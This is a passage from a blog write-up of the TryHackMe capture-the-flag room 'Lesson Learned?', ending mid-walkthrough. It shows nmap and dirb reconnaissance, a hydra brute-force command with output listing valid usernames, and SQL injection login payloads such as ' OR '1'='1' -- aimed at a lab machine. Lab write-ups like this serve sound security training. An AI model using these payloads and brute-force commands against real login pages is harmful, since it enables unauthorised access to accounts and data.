Zpět na blog
TryHackMe: Lesson Learned? Walk Through
TryHackMe: Lesson Learned? Walk Through
Welcome to our first Writeup. Today we’re looking at a room with the interesting name “Lesson Learned?” from the creator Tib3rius.
The room is marked as Easy and has only one flag, let’s have a look.
Recon
Let’s try nmap first
└─# nmap -sV -sC -vv 10.10.215.200
Great, now we have SSH and WEB server. Run dirbuster and check http://10.10.215.200
dirb http://10.10.215.200 -w /usr/share/wordlists/dirb/common.txt
The manual subpage sounds interesting. Unfortunately, it’s just an ordinary Apache manual :-/
Login page
We see the standard login-page. Let’s try admin/admin, root/root, admin/1234. Nothing works.
OWASP ZAP
We know it’s a website. Let’s try OWASP ZAP.
SQL Injection
Wow! The application is vulnerable to SQL Injection. Let’s try it out.
username: vdXNPUsW' OR '1'='1' --password: asdf
OOPS!
Restart and let’s try again.
Rebuild machine, and use hydra for http-form bruteforce username.
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p asdf 10.10.243.239 http-post-form "/:username=^USER^&password=^PASS^:Invalid username and password."Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-04 22:22:30[DATA] max 16 tasks per 1 server, overall 16 tasks, 8295455 login tries (l:8295455/p:1), ~518466 tries per task[DATA] attacking http-post-form://10.10.243.239:80/:username=^USER^&password=^PASS^:Invalid username and password.[80][http-post-form] host: 10.10.243.239 login: martin password: asdf[80][http-post-form] host: 10.10.243.239 login: patrick password: asdf[80][http-post-form] host: 10.10.243.239 login: stuart password: asdf[80][http-post-form] host: 10.10.243.239 login: marcus password: asdf[80][http-post-form] host: 10.10.243.239 login: kelly password: asdf[80][http-post-form] host: 10.10.243.239 login: arnold password: asdf[80][http-post-form] host: 10.10.243.239 login: Martin password: asdf[80][http-post-form] host: 10.10.243.239 login: karen password: asdf[80][http-post-form] host: 10.10.243.239 login: Patrick password: asdf
Now we have a list of usernames.
Try swap OR to AND
username: martin' AND '1'='1' --password: asdf
not work, second attempt
username: martin' AND '1'='1' -- -password: asdf
